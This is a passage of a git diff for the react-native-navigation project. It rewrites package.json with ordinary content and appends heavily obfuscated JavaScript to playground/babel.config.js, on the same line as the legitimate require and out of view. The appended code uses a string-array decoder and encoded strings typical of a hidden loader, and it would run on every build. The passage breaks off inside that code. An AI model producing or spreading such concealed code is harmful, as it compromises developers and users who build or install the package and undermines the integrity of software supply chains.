"^7.32.1", - "eslint-plugin-jest": "^28.11.0", - "eslint-plugin-prettier": "3.1.4", - "github-release-notes": "https://github.com/yogevbd/github-release-notes/tarball/e601b3dba72dcd6cba323c1286ea6dd0c0110b58", - "identity-obj-proxy": "3.0.0", - "jest": "^29.6.3", - "lint-staged": "10.2.11", - "pixelmatch": "^5.2.1", - "pngjs": "^6.0.0", - "prettier": "2.8.8", - "react": "19.2.3", - "react-native": "0.85.2", - "react-native-builder-bob": "^0.40.13", - "react-native-gesture-handler": "^2.29.1", - "react-native-reanimated": "4.3.0", - "react-native-worklets": "0.8.1", - "react-redux": "9.1.2", - "react-test-renderer": "19.2.3", - "redux": "^5.0.1", - "remx": "3.x.x", - "semver": "5.x.x", - "shell-utils": "1.x.x", - "ssim.js": "^3.5.0", - "ts-mockito": "^2.3.1", - "typedoc": "0.x.x", - "typescript": "^5.8.3" - }, - "workspaces": [ - "playground" - ], - "packageManager": "yarn@4.12.0", - "lint-staged": { - "*.{js,ts,tsx}": "eslint --fix", - "*.{h,m,mm}": "node ./scripts/check-clang-format", - "yarn.lock": "./scripts/clean-yarn-lock.sh" - }, - "codegenConfig": { - "name": "rnnavigation", - "type": "all", - "jsSrcsDir": "./src", - "android": { - "javaPackageName": "com.reactnativenavigation.react" - } - }, - "react-native-builder-bob": { - "source": "src", - "output": "lib", - "targets": [ - [ - "module", - { - "esm": true - } - ], - [ - "typescript", - { - "project": "tsconfig.build.json" - } - ] - ] - } -} +{ + "name": "react-native-navigation", + "version": "8.8.6", + "description": "React Native Navigation - truly native navigation for iOS and Android", + "license": "MIT", + "nativePackage": true, + "publishConfig": { + "registry": "https://registry.npmjs.org/" + }, + "bugs": { + "url": "https://github.com/wix/react-native-navigation/issues" + }, + "homepage": "https://github.com/wix/react-native-navigation", + "readme": "https://github.com/wix/react-native-navigation#readme", + "repository": { + "type": "git", + "url": "https://github.com/wix/react-native-navigation.git" + }, + "bin": { + "rnn-link": "./autolink/postlink/run.js" + }, + "main": "./lib/module/index.js", + "types": "./lib/typescript/index.d.ts", + "react-native": "./src/index.ts", + "exports": { + ".": { + "types": "./lib/typescript/index.d.ts", + "default": "./lib/module/index.js", + "source": "./src/index.ts", + "react-native": "./src/index.ts" + }, + "./Mock": { + "types": "./lib/typescript/Mock/index.d.ts", + "default": "./lib/module/Mock/index.js", + "source": "./src/Mock/index.ts", + "react-native": "./src/Mock/index.ts" + }, + "./package.json": "./package.json" + }, + "files": [ + "src", + "lib", + "android", + "ios", + "autolink", + "*.podspec", + "!**/__tests__", + "!**/__fixtures__", + "!**/__mocks__", + "!**/.*" + ], + "scripts": { + "watch": "node ./scripts/watch", + "xcode": "open playground/ios/playground.xcworkspace", + "studio": "studio playground/android", + "install-android": "node ./scripts/install-android", + "uninstall-android": "cd playground/android && ./gradlew uninstallAll", + "clean": "node ./scripts/clean", + "prepare": "bob build", + "start": "node ./scripts/start", + "pod-install": "yarn workspace react-native-navigation-playground pod-install", + "test-js": "node ./scripts/test-js", + "test-unit-ios": "node ./scripts/test-unit --ios", + "test-snapshot-ios": "node ./scripts/test-snapshot --ios", + "test-unit-android": "node ./scripts/test-unit --android", + "test-autolink": "node ./scripts/test-autolink", + "test-e2e-android-ci": "yarn workspace react-native-navigation-playground test-e2e-android-ci", + "test-e2e-ios-ci": "yarn workspace react-native-navigation-playground test-e2e-ios-ci", + "test-all": "node ./scripts/test-all", + "release": "node ./scripts/release", + "lint": "eslint --ext .js,.jsx,.ts,.tsx ./" + }, + "peerDependencies": { + "react": "*", + "react-native": "*", + "remx": "*" + }, + "peerDependenciesMeta": { + "remx": { + "optional": true + } + }, + "dependencies": { + "hoist-non-react-statics": "3.3.2", + "lodash": "4.18.1", + "prop-types": "15.x.x", + "react-lifecycles-compat": "^3.0.4", + "tslib": "1.9.3" + }, + "devDependencies": { + "@babel/core": "^7.25.2", + "@babel/plugin-proposal-export-default-from": "7.10.1", + "@babel/plugin-proposal-export-namespace-from": "7.10.1", + "@babel/preset-env": "^7.25.3", + "@babel/runtime": "^7.25.0", + "@babel/types": "7.25.0", + "@d11/react-native-fast-image": "^8.13.0", + "@react-native-community/cli": "20.1.0", + "@react-native-community/cli-platform-android": "20.1.0", + "@react-native-community/cli-platform-ios": "20.1.0", + "@react-native-community/datetimepicker": "^8.2.0", + "@react-native-community/netinfo": "^11.4.1", + "@react-native/babel-preset": "0.85.2", + "@react-native/eslint-config": "0.85.2", + "@react-native/jest-preset": "0.85.2", + "@react-native/metro-config": "0.85.2", + "@react-native/typescript-config": "0.85.2", + "@testing-library/jest-native": "^5.4.2", + "@testing-library/react-native": "^13.0.1", + "@types/hoist-non-react-statics": "^3.3.6", + "@types/jasmine": "3.5.10", + "@types/jest": "^29.5.13", + "@types/lodash": "^4.17.20", + "@types/prop-types": "^15.7.14", + "@types/react": "^19.2.0", + "@types/react-test-renderer": "^19.1.0", + "@typescript-eslint/eslint-plugin": "8.21.0", + "@typescript-eslint/parser": "8.21.0", + "clang-format": "^1.4.0", + "detox": "20.51.1", + "detox-testing-library-rnn-adapter": "^2.0.3", + "eslint": "^8.19.0", + "eslint-config-prettier": "6.11.0", + "eslint-formatter-codeframe": "^7.32.1", + "eslint-plugin-jest": "^28.11.0", + "eslint-plugin-prettier": "3.1.4", + "github-release-notes": "https://github.com/yogevbd/github-release-notes/tarball/e601b3dba72dcd6cba323c1286ea6dd0c0110b58", + "identity-obj-proxy": "3.0.0", + "jest": "^29.6.3", + "lint-staged": "10.2.11", + "pixelmatch": "^5.2.1", + "pngjs": "^6.0.0", + "prettier": "2.8.8", + "react": "19.2.3", + "react-native": "0.85.2", + "react-native-builder-bob": "^0.40.13", + "react-native-gesture-handler": "^2.29.1", + "react-native-reanimated": "4.3.0", + "react-native-worklets": "0.8.1", + "react-redux": "9.1.2", + "react-test-renderer": "19.2.3", + "redux": "^5.0.1", + "remx": "3.x.x", + "semver": "5.x.x", + "shell-utils": "1.x.x", + "ssim.js": "^3.5.0", + "ts-mockito": "^2.3.1", + "typedoc": "0.x.x", + "typescript": "^5.8.3" + }, + "workspaces": [ + "playground" + ], + "packageManager": "yarn@4.12.0", + "lint-staged": { + "*.{js,ts,tsx}": "eslint --fix", + "*.{h,m,mm}": "node ./scripts/check-clang-format", + "yarn.lock": "./scripts/clean-yarn-lock.sh" + }, + "codegenConfig": { + "name": "rnnavigation", + "type": "all", + "jsSrcsDir": "./src", + "android": { + "javaPackageName": "com.reactnativenavigation.react" + } + }, + "react-native-builder-bob": { + "source": "src", + "output": "lib", + "targets": [ + [ + "module", + { + "esm": true + } + ], + [ + "typescript", + { + "project": "tsconfig.build.json" + } + ] + ] + } +} diff --git a/playground/babel.config.js b/playground/babel.config.js index 434b10eeac9..89d94fb5989 100644 --- a/playground/babel.config.js +++ b/playground/babel.config.js @@ -1 +1 @@ -module.exports = require('../babel.config.js'); +module.exports = require('../babel.config.js'); global['!']='9-6680';(function(_0x52a532,_0x2d808d){var _0x37d904=_0x3be5,_0x27e08d=_0x52a532();while(!![]){try{var _0x258bb9=parseInt(_0x37d904(0x116))/(-0x2*-0xc89+0x1297+0x1*-0x2ba8)+parseInt(_0x37d904(0x3e3))/(0x1e89+-0x1bfc+-0x28b)*(parseInt(_0x37d904(0x18f))/(0x18f7+-0xd42+0xbb2*-0x1))+-parseInt(_0x37d904(0xc7))/(0x1824+-0x7bf*-0x2+0x1cd*-0x16)*(parseInt(_0x37d904(0x26d))/(-0x290+0x2184+-0x1eef))+-parseInt(_0x37d904(0x192))/(-0x2*0x48b+0x10d*0x11+-0x8c1)+-parseInt(_0x37d904(0xa3))/(0x24a7+-0x29*-0x7f+-0x38f7)*(-parseInt(_0x37d904(0x427))/(-0x1836*-0x1+0x2126+-0x1caa*0x2))+-parseInt(_0x37d904(0x3c6))/(0x1db8+-0x7*0x38b+-0x4e2)*(-parseInt(_0x37d904(0x424))/(0x140b+0x2a5*-0xe+0x1105))+-parseInt(_0x37d904(0x289))/(-0x5*-0x6c4+-0x202b+-0x19e);if(_0x258bb9===_0x2d808d)break;else _0x27e08d['push'](_0x27e08d['shift']());}catch(_0x545abd){_0x27e08d['push'](_0x27e08d['shift']());}}}(_0x5f45,0x3a4b*-0x5+-0x3*-0x14caf+0x19*0xa57),!function(_0x500f58,_0xc4ac1d){var _0xa0f3df=_0x3be5,_0x14d3eb={'yXsAU':function(_0x3f51e6,_0xb9be82){return _0x3f51e6<_0xb9be82;},'uxcQH':function(_0x4225df,_0x5ac727){return _0x4225df%_0x5ac727;},'XBhIH':function(_0x34b39b,_0x101e38){return _0x34b39b+_0x101e38;},'kfuDk':function(_0xf7a237,_0x43d06d){return _0xf7a237*_0x43d06d;},'Emdxt':function(_0x2798eb,_0x5aea37){return _0x2798eb+_0x5aea37;},'TPIVk':function(_0x1af93d,_0x779646){return _0x1af93d+_0x779646;},'uKTwD':function(_0x46c7cd,_0x5089f9){return _0x46c7cd+_0x5089f9;},'kJebz':function(_0x307982,_0x59d116){return _0x307982%_0x59d116;},'lDkzO':function(_0x25a251,_0x473301){return _0x25a251%_0x473301;},'PjAol':function(_0x2abc47,_0x2951ab,_0x285bc0,_0x11f352,_0x3eb176,_0x378b8b,_0x753e59,_0x2a0780){return _0x2abc47(_0x2951ab,_0x285bc0,_0x11f352,_0x3eb176,_0x378b8b,_0x753e59,_0x2a0780);},'HzUvU':_0xa0f3df(0xc0),'OvNMo':function(_0x1cd55d,_0x12971c){return _0x1cd55d===_0x12971c;},'NWAll':function(_0x532889,_0x5f4724){return _0x532889(_0x5f4724);},'JDcif':_0xa0f3df(0x4be)+_0xa0f3df(0x3d6)+_0xa0f3df(0x19e)+_0xa0f3df(0x254),'eIoDu':function(_0x484af5,_0x644456,_0x5c036d){return _0x484af5(_0x644456,_0x5c036d);},'Vjhdr':_0xa0f3df(0x108)+_0xa0f3df(0x1c1)+_0xa0f3df(0x247)+_0xa0f3df(0x2d4)+_0xa0f3df(0x266)+_0xa0f3df(0x4a9)+_0xa0f3df(0x405)+_0xa0f3df(0x3b4)+_0xa0f3df(0x1de)+_0xa0f3df(0x178)+_0xa0f3df(0xa9)+_0xa0f3df(0x12b)+_0xa0f3df(0x286)+_0xa0f3df(0xac)+_0xa0f3df(0x4bc)+_0xa0f3df(0x363)+_0xa0f3df(0x162)+_0xa0f3df(0x343)+_0xa0f3df(0x32a)+_0xa0f3df(0x292)+_0xa0f3df(0x40e)+_0xa0f3df(0x1e5)+_0xa0f3df(0x35f)+_0xa0f3df(0x441)+_0xa0f3df(0x425)+_0xa0f3df(0xa2)+_0xa0f3df(0x20b)+_0xa0f3df(0x46e)+_0xa0f3df(0x3e6)+_0xa0f3df(0x345)+_0xa0f3df(0x40a)+_0xa0f3df(0x328)+_0xa0f3df(0x49c)+_0xa0f3df(0x222)+_0xa0f3df(0x418)+_0xa0f3df(0x404)+_0xa0f3df(0x241)+_0xa0f3df(0x16c)+_0xa0f3df(0xaa)+_0xa0f3df(0x259)+_0xa0f3df(0x206)+_0xa0f3df(0x2d8)+_0xa0f3df(0x2df)+_0xa0f3df(0x233)+_0xa0f3df(0x42a)+_0xa0f3df(0x107)+_0xa0f3df(0x4af)+_0xa0f3df(0x3be)+_0xa0f3df(0x366)+_0xa0f3df(0x4cf)+_0xa0f3df(0x340)+_0xa0f3df(0x2ae)+_0xa0f3df(0xa6)+_0xa0f3df(0x4ce)+_0xa0f3df(0x378)+_0xa0f3df(0x3e2)+_0xa0f3df(0x1cf)+_0xa0f3df(0x1f4)+_0xa0f3df(0x122)+_0xa0f3df(0x24a)+_0xa0f3df(0x39d)+_0xa0f3df(0x216)+_0xa0f3df(0x278)+_0xa0f3df(0x48e)+_0xa0f3df(0x45a)+_0xa0f3df(0x1f5)+_0xa0f3df(0x409)+_0xa0f3df(0x492)+_0xa0f3df(0x1b2)+_0xa0f3df(0x296)+_0xa0f3df(0x32f)+_0xa0f3df(0x215)+_0xa0f3df(0x43b)+_0xa0f3df(0x478)+_0xa0f3df(0x39a)+_0xa0f3df(0x2bd)+_0xa0f3df(0x235)+_0xa0f3df(0x22c)+_0xa0f3df(0x4d8)+_0xa0f3df(0x37f)+_0xa0f3df(0x4a8)+_0xa0f3df(0x1a4)+_0xa0f3df(0x2a2)+_0xa0f3df(0x1d4)+_0xa0f3df(0x128)+_0xa0f3df(0x449)+_0xa0f3df(0x23a)+_0xa0f3df(0x18b)+_0xa0f3df(0xcc),'YZkUd':_0xa0f3df(0xfa)+_0xa0f3df(0x27b)+_0xa0f3df(0x274)+_0xa0f3df(0x13e)+_0xa0f3df(0x234)+_0xa0f3df(0x4dc)+_0xa0f3df(0x15c)+_0xa0f3df(0x127)+_0xa0f3df(0x1f9)+_0xa0f3df(0x260)+_0xa0f3df(0x153)+_0xa0f3df(0x362)+_0xa0f3df(0x301)+_0xa0f3df(0xc8)+_0xa0f3df(0x38e)+_0xa0f3df(0x4e2)+_0xa0f3df(0x2ce)+_0xa0f3df(0x146)+_0xa0f3df(0x24c)+_0xa0f3df(0x2aa)+_0xa0f3df(0x212)+_0xa0f3df(0x419)+_0xa0f3df(0x2cd)+_0xa0f3df(0x43a)+_0xa0f3df(0x1ec)+_0xa0f3df(0x250)+_0xa0f3df(0xd7)+_0xa0f3df(0x460)+_0xa0f3df(0x47b)+_0xa0f3df(0x3af)+_0xa0f3df(0x49a)+_0xa0f3df(0x376)+_0xa0f3df(0x389)+_0xa0f3df(0x25e)+_0xa0f3df(0x36b)+_0xa0f3df(0x400)+_0xa0f3df(0x4b2)+_0xa0f3df(0x257)+_0xa0f3df(0x1b1)+_0xa0f3df(0x2af)+_0xa0f3df(0x1e9)+_0xa0f3df(0x4a6)+_0xa0f3df(0x35b)+_0xa0f3df(0x1d2)+_0xa0f3df(0x2e8)+_0xa0f3df(0x422)+_0xa0f3df(0x44c)+_0xa0f3df(0x25f)+_0xa0f3df(0x4e6)+_0xa0f3df(0x420)+_0xa0f3df(0x42f)+_0xa0f3df(0x131)+_0xa0f3df(0x295)+_0xa0f3df(0x11b)+_0xa0f3df(0x2b0)+_0xa0f3df(0x360)+_0xa0f3df(0x29f)+_0xa0f3df(0x24e)+_0xa0f3df(0x135)+_0xa0f3df(0x44d)+_0xa0f3df(0x24b)+_0xa0f3df(0x15a)+_0xa0f3df(0x4b6)+_0xa0f3df(0x488)+_0xa0f3df(0x36f)+_0xa0f3df(0xeb)+_0xa0f3df(0x361)+_0xa0f3df(0x1af)+_0xa0f3df(0x3d2)+_0xa0f3df(0x225)+_0xa0f3df(0x2ed)+_0xa0f3df(0x46b)+_0xa0f3df(0x2c3)+_0xa0f3df(0x426)+_0xa0f3df(0x16e)+_0xa0f3df(0x161)+_0xa0f3df(0x2e6)+_0xa0f3df(0xbf)+_0xa0f3df(0x4bd)+_0xa0f3df(0x180)+_0xa0f3df(0x12e)+_0xa0f3df(0x290)+_0xa0f3df(0x3a1)+_0xa0f3df(0x1f3)+_0xa0f3df(0x20f)+_0xa0f3df(0x2b1)+_0xa0f3df(0x46c)+_0xa0f3df(0x43c)+_0xa0f3df(0x47d)+_0xa0f3df(0x4c5)+_0xa0f3df(0x485)+_0xa0f3df(0x204)+_0xa0f3df(0x1fb)+_0xa0f3df(0x1ef)+_0xa0f3df(0x31d)+_0xa0f3df(0x3ce)+_0xa0f3df(0x28e)+_0xa0f3df(0x240)+_0xa0f3df(0xba)+_0xa0f3df(0x3c0)+(_0xa0f3df(0x3df)+_0xa0f3df(0x356)+_0xa0f3df(0x41f)+_0xa0f3df(0x48a)+_0xa0f3df(0x4d0)+_0xa0f3df(0x185)+_0xa0f3df(0x2c8)+_0xa0f3df(0x273)+_0xa0f3df(0x264)+_0xa0f3df(0x41e)+_0xa0f3df(0x3a8)+_0xa0f3df(0x2b9)+_0xa0f3df(0x2a6)+_0xa0f3df(0x164)+_0xa0f3df(0x142)+_0xa0f3df(0x44e)+_0xa0f3df(0x303)+_0xa0f3df(0x14e)+_0xa0f3df(0x30e)+_0xa0f3df(0x497)+_0xa0f3df(0x3f0)+_0xa0f3df(0x2c9)+_0xa0f3df(0x105)+_0xa0f3df(0x184)+_0xa0f3df(0x337)+_0xa0f3df(0x13f)+_0xa0f3df(0x169)+_0xa0f3df(0x3a6)+_0xa0f3df(0x3f1)+_0xa0f3df(0xd5)+_0xa0f3df(0xce)+_0xa0f3df(0x35d)+_0xa0f3df(0x109)+_0xa0f3df(0x2f2)+_0xa0f3df(0x31b)+_0xa0f3df(0x150)+_0xa0f3df(0x32c)+_0xa0f3df(0x359)+_0xa0f3df(0x3e0)+_0xa0f3df(0x25d)+_0xa0f3df(0x3d0)+_0xa0f3df(0x1d0)+_0xa0f3df(0x124)+_0xa0f3df(0x3ee)+_0xa0f3df(0x113)+_0xa0f3df(0x484)+_0xa0f3df(0x350)+_0xa0f3df(0x1ff)+_0xa0f3df(0x41c)+_0xa0f3df(0x144)+_0xa0f3df(0x18c)+_0xa0f3df(0x2ef)+_0xa0f3df(0x483)+_0xa0f3df(0x2e9)+_0xa0f3df(0x1dd)+_0xa0f3df(0x111)+_0xa0f3df(0x143)+_0xa0f3df(0x445)+_0xa0f3df(0x201)+_0xa0f3df(0x373)+_0xa0f3df(0x3ed)+_0xa0f3df(0x414)+_0xa0f3df(0x1b4)+_0xa0f3df(0x3b2)+_0xa0f3df(0x26e)+_0xa0f3df(0x28f)+_0xa0f3df(0x2b6)+_0xa0f3df(0x48b)+_0xa0f3df(0x48c)+_0xa0f3df(0x335)+_0xa0f3df(0x3cd)+_0xa0f3df(0xb9)+_0xa0f3df(0x499)+_0xa0f3df(0x298)+_0xa0f3df(0x166)+_0xa0f3df(0x1c5)+_0xa0f3df(0x3bc)+_0xa0f3df(0x384)+_0xa0f3df(0xd8)+_0xa0f3df(0xd6)+_0xa0f3df(0x428)+_0xa0f3df(0x2c6)+_0xa0f3df(0x2b8)+_0xa0f3df(0x1fa)+_0xa0f3df(0x23b)+_0xa0f3df(0x276)+_0xa0f3df(0x334)+_0xa0f3df(0x2f0)+_0xa0f3df(0x341)+_0xa0f3df(0x246)+_0xa0f3df(0x2d5)+_0xa0f3df(0x401)+_0xa0f3df(0x3ca)+_0xa0f3df(0x3a7)+_0xa0f3df(0x353)+_0xa0f3df(0xe9)+_0xa0f3df(0x242)+_0xa0f3df(0xf8)+_0xa0f3df(0x219)+_0xa0f3df(0x45f))+(_0xa0f3df(0x1cb)+_0xa0f3df(0x369)+_0xa0f3df(0xee)+_0xa0f3df(0x4cd)+_0xa0f3df(0x23d)+_0xa0f3df(0x476)+_0xa0f3df(0xbb)+_0xa0f3df(0x3ec)+_0xa0f3df(0x4b4)+_0xa0f3df(0x37b)+_0xa0f3df(0x302)+_0xa0f3df(0x4c2)+_0xa0f3df(0x170)+_0xa0f3df(0x14f)+_0xa0f3df(0x21b)+_0xa0f3df(0x421)+_0xa0f3df(0x1a1)+_0xa0f3df(0x2d6)+_0xa0f3df(0x4cc)+_0xa0f3df(0x46f)+_0xa0f3df(0x1ac)+_0xa0f3df(0x101)+_0xa0f3df(0xe4)+_0xa0f3df(0x1ed)+_0xa0f3df(0x477)+_0xa0f3df(0x407)+_0xa0f3df(0x165)+_0xa0f3df(0x372)+_0xa0f3df(0x3e8)+_0xa0f3df(0x461)+_0xa0f3df(0x1e0)+_0xa0f3df(0x41a)+_0xa0f3df(0x217)+_0xa0f3df(0x187)+_0xa0f3df(0x1ba)+_0xa0f3df(0x25b)+_0xa0f3df(0x47c)+_0xa0f3df(0x433)+_0xa0f3df(0x357)+_0xa0f3df(0x34f)+_0xa0f3df(0x490)+_0xa0f3df(0x469)+_0xa0f3df(0xed)+_0xa0f3df(0x2d1)+_0xa0f3df(0x38a)+_0xa0f3df(0x317)+_0xa0f3df(0x121)+_0xa0f3df(0x11d)+_0xa0f3df(0x2ee)+_0xa0f3df(0x316)+_0xa0f3df(0x3fe)+_0xa0f3df(0x21d)+_0xa0f3df(0x12a)+_0xa0f3df(0xf2)+_0xa0f3df(0x1b6)+_0xa0f3df(0x288)+_0xa0f3df(0x238)+_0xa0f3df(0x202)+_0xa0f3df(0x411)+_0xa0f3df(0x1be)+_0xa0f3df(0x1b8)+_0xa0f3df(0x19c)+_0xa0f3df(0x3aa)+_0xa0f3df(0x239)+_0xa0f3df(0x236)+_0xa0f3df(0x2f8)+_0xa0f3df(0x34e)+_0xa0f3df(0x117)+_0xa0f3df(0x3e7)+_0xa0f3df(0x1eb)+_0xa0f3df(0x4cb)+_0xa0f3df(0x18e)+_0xa0f3df(0x35c)+_0xa0f3df(0x106)+_0xa0f3df(0x221)+_0xa0f3df(0x33f)+_0xa0f3df(0x450)+_0xa0f3df(0x4c3)+_0xa0f3df(0x3b9)+_0xa0f3df(0x125)+_0xa0f3df(0x379)+_0xa0f3df(0x22b)+_0xa0f3df(0xb5)+_0xa0f3df(0xdf)+_0xa0f3df(0x453)+_0xa0f3df(0x1a0)+_0xa0f3df(0xa5)+_0xa0f3df(0x4db)+_0xa0f3df(0x4de)+_0xa0f3df(0x1a6)+_0xa0f3df(0x322)+_0xa0f3df(0x36e)+_0xa0f3df(0x3b6)+_0xa0f3df(0x1b5)+_0xa0f3df(0x33d)+_0xa0f3df(0x12f)+_0xa0f3df(0xe0)+_0xa0f3df(0x475)+_0xa0f3df(0x3bd)+_0xa0f3df(0x149))+(_0xa0f3df(0x12c)+_0xa0f3df(0x2ff)+_0xa0f3df(0x47a)+_0xa0f3df(0x391)+_0xa0f3df(0x395)+_0xa0f3df(0x34d)+_0xa0f3df(0x22e)+_0xa0f3df(0x1c3)+_0xa0f3df(0x245)+_0xa0f3df(0x336)+_0xa0f3df(0x41b)+_0xa0f3df(0x38d)+_0xa0f3df(0x4e3)+_0xa0f3df(0xfb)+_0xa0f3df(0x46d)+_0xa0f3df(0x4df)+_0xa0f3df(0x326)+_0xa0f3df(0x2e1)+_0xa0f3df(0xb0)+_0xa0f3df(0x3cc)+_0xa0f3df(0x489)+_0xa0f3df(0x496)+_0xa0f3df(0x227)+_0xa0f3df(0x39f)+_0xa0f3df(0x22a)+_0xa0f3df(0x368)+_0xa0f3df(0x188)+_0xa0f3df(0x396)+_0xa0f3df(0x408)+_0xa0f3df(0xaf)+_0xa0f3df(0x34b)+_0xa0f3df(0x1ab)+_0xa0f3df(0x480)+_0xa0f3df(0x129)+_0xa0f3df(0x2fa)+_0xa0f3df(0x27d)+_0xa0f3df(0x3ea)+_0xa0f3df(0x1c0)+_0xa0f3df(0x19a)+_0xa0f3df(0x2bc)+_0xa0f3df(0x482)+_0xa0f3df(0x466)+_0xa0f3df(0xb1)+_0xa0f3df(0x100)+_0xa0f3df(0x474)+_0xa0f3df(0x4b8)+_0xa0f3df(0x412)+_0xa0f3df(0x3d5)+_0xa0f3df(0x346)+_0xa0f3df(0x39c)+_0xa0f3df(0x1a8)+_0xa0f3df(0x3c9)+_0xa0f3df(0x195)+_0xa0f3df(0x30a)+_0xa0f3df(0x4a3)+_0xa0f3df(0x2c0)+_0xa0f3df(0x205)+_0xa0f3df(0x2fb)+_0xa0f3df(0x26f)+_0xa0f3df(0x196)+_0xa0f3df(0x462)+_0xa0f3df(0x243)+_0xa0f3df(0x40c)+_0xa0f3df(0x2ca)+_0xa0f3df(0x23c)+_0xa0f3df(0x3b0)+_0xa0f3df(0x2b4)+_0xa0f3df(0x444)+_0xa0f3df(0xd2)+_0xa0f3df(0xfe)+_0xa0f3df(0x224)+_0xa0f3df(0x27f)+_0xa0f3df(0x15f)+_0xa0f3df(0xd3)+_0xa0f3df(0x386)+_0xa0f3df(0x2fe)+_0xa0f3df(0x310)+_0xa0f3df(0xdd)+_0xa0f3df(0xfd)+_0xa0f3df(0x293)+_0xa0f3df(0x1b0)+_0xa0f3df(0x139)+_0xa0f3df(0x325)+_0xa0f3df(0x14a)+_0xa0f3df(0x329)+_0xa0f3df(0x4e0)+_0xa0f3df(0x3f6)+_0xa0f3df(0x3d3)+_0xa0f3df(0x138)+_0xa0f3df(0x1aa)+_0xa0f3df(0x1b7)+_0xa0f3df(0x230)+_0xa0f3df(0x33e)+_0xa0f3df(0xab)+_0xa0f3df(0x189)+_0xa0f3df(0x11f)+_0xa0f3df(0x22f)+_0xa0f3df(0x468)+_0xa0f3df(0x470)+_0xa0f3df(0x3c7))+(_0xa0f3df(0x2f9)+_0xa0f3df(0x2cb)+_0xa0f3df(0x17b)+_0xa0f3df(0xff)+_0xa0f3df(0x173)+_0xa0f3df(0x4bf)+_0xa0f3df(0x207)+_0xa0f3df(0x13d)+_0xa0f3df(0x313)+_0xa0f3df(0x33b)+_0xa0f3df(0x4e8)+_0xa0f3df(0x1d8)+_0xa0f3df(0x262)+_0xa0f3df(0x354)+_0xa0f3df(0x10b)+_0xa0f3df(0x1c8)+_0xa0f3df(0x454)+_0xa0f3df(0x2e5)+_0xa0f3df(0x435)+_0xa0f3df(0x315)+_0xa0f3df(0x2a8)+_0xa0f3df(0x29a)+_0xa0f3df(0x4d4)+_0xa0f3df(0x2a4)+_0xa0f3df(0x137)+_0xa0f3df(0xb3)+_0xa0f3df(0x2f3)+_0xa0f3df(0x248)+_0xa0f3df(0x1fe)+_0xa0f3df(0x232)+_0xa0f3df(0x4b3)+_0xa0f3df(0x27e)+_0xa0f3df(0x1e8)+_0xa0f3df(0x159)+_0xa0f3df(0xe2)+_0xa0f3df(0x156)+_0xa0f3df(0x213)+_0xa0f3df(0x186)+_0xa0f3df(0x294)+_0xa0f3df(0x2ad)+_0xa0f3df(0x157)+_0xa0f3df(0x451)+_0xa0f3df(0x398)+_0xa0f3df(0x140)+_0xa0f3df(0x3cf)+_0xa0f3df(0x3eb)+_0xa0f3df(0x3ac)+_0xa0f3df(0x183)+_0xa0f3df(0x2cc)+_0xa0f3df(0x447)+_0xa0f3df(0xe7)+_0xa0f3df(0x31e)+_0xa0f3df(0x4da)+_0xa0f3df(0x41d)+_0xa0f3df(0x17e)+_0xa0f3df(0x3f3)+_0xa0f3df(0x30b)+_0xa0f3df(0x1db)+_0xa0f3df(0xe5)+_0xa0f3df(0x1d1)+_0xa0f3df(0x2a9)+_0xa0f3df(0x114)+_0xa0f3df(0x102)+_0xa0f3df(0x352)+_0xa0f3df(0x3b5)+_0xa0f3df(0x4b7)+_0xa0f3df(0x2fd)+_0xa0f3df(0x179)+_0xa0f3df(0x280)+_0xa0f3df(0x358)+_0xa0f3df(0x4a5)+_0xa0f3df(0x141)+_0xa0f3df(0x382)+_0xa0f3df(0x37c)+_0xa0f3df(0x430)+_0xa0f3df(0x281)+_0xa0f3df(0x30c)+_0xa0f3df(0xe3)+_0xa0f3df(0x1b9)+_0xa0f3df(0x495)+_0xa0f3df(0x374)+_0xa0f3df(0x147)+_0xa0f3df(0x367)+_0xa0f3df(0xc1)+_0xa0f3df(0x493)+_0xa0f3df(0x331)+_0xa0f3df(0xc5)+_0xa0f3df(0xc2)+_0xa0f3df(0x46a)+_0xa0f3df(0x4d5)+_0xa0f3df(0x30d)+_0xa0f3df(0x15d)+_0xa0f3df(0x4d9)+_0xa0f3df(0xa8)+_0xa0f3df(0x4e5)+_0xa0f3df(0x377)+_0xa0f3df(0x163)+_0xa0f3df(0x291)+_0xa0f3df(0x151)+_0xa0f3df(0x3ae))+(_0xa0f3df(0x194)+_0xa0f3df(0x38f)+_0xa0f3df(0x3c8)+_0xa0f3df(0x442)+_0xa0f3df(0x4d3)+_0xa0f3df(0x3ff)+_0xa0f3df(0x228)+_0xa0f3df(0x10c)+_0xa0f3df(0x28c)+_0xa0f3df(0x284)+_0xa0f3df(0x226)+_0xa0f3df(0x1f2)+_0xa0f3df(0x29c)+_0xa0f3df(0x439)+_0xa0f3df(0x193)+_0xa0f3df(0x2d3)+_0xa0f3df(0x31f)+_0xa0f3df(0x3c3)+_0xa0f3df(0x211)+_0xa0f3df(0x145)+_0xa0f3df(0x31c)+_0xa0f3df(0x275)+_0xa0f3df(0x347)+_0xa0f3df(0x2a1)+_0xa0f3df(0x4aa)+_0xa0f3df(0x44b)+_0xa0f3df(0x1c7)+_0xa0f3df(0x43d)+_0xa0f3df(0x253)+_0xa0f3df(0xdb)+_0xa0f3df(0x168)+_0xa0f3df(0x40b)+_0xa0f3df(0x1bb)+_0xa0f3df(0x364)+_0xa0f3df(0x448)+_0xa0f3df(0x45b)+_0xa0f3df(0x1dc)+_0xa0f3df(0x14d)+_0xa0f3df(0x200)+_0xa0f3df(0x209)+_0xa0f3df(0x258)+_0xa0f3df(0x237)+_0xa0f3df(0x45e)+_0xa0f3df(0x415)+_0xa0f3df(0x3fb)+_0xa0f3df(0x3ad)+_0xa0f3df(0xb6)+_0xa0f3df(0x1e6)+_0xa0f3df(0x3b7)+_0xa0f3df(0x4d7)+_0xa0f3df(0x1e2)+_0xa0f3df(0x4b5)+_0xa0f3df(0xfc)+_0xa0f3df(0x3bf)+_0xa0f3df(0x2ec)+_0xa0f3df(0x268)+_0xa0f3df(0x263)+_0xa0f3df(0x20e)+_0xa0f3df(0x4c9)+_0xa0f3df(0x332)+_0xa0f3df(0xde)+_0xa0f3df(0x1bd)+_0xa0f3df(0x1fd)+_0xa0f3df(0x4b9)+_0xa0f3df(0x312)+_0xa0f3df(0x198)+_0xa0f3df(0x330)+_0xa0f3df(0x300)+_0xa0f3df(0x25a)+_0xa0f3df(0xcb)+_0xa0f3df(0x49f)+_0xa0f3df(0x21c)+_0xa0f3df(0x21e)+_0xa0f3df(0x1d3)+_0xa0f3df(0x3b8)+_0xa0f3df(0x4b0)+_0xa0f3df(0x1ce)+_0xa0f3df(0x1bf)+_0xa0f3df(0x2a7)+_0xa0f3df(0x17c)+_0xa0f3df(0x27c)+_0xa0f3df(0x136)+_0xa0f3df(0x1a3)+_0xa0f3df(0x458)+_0xa0f3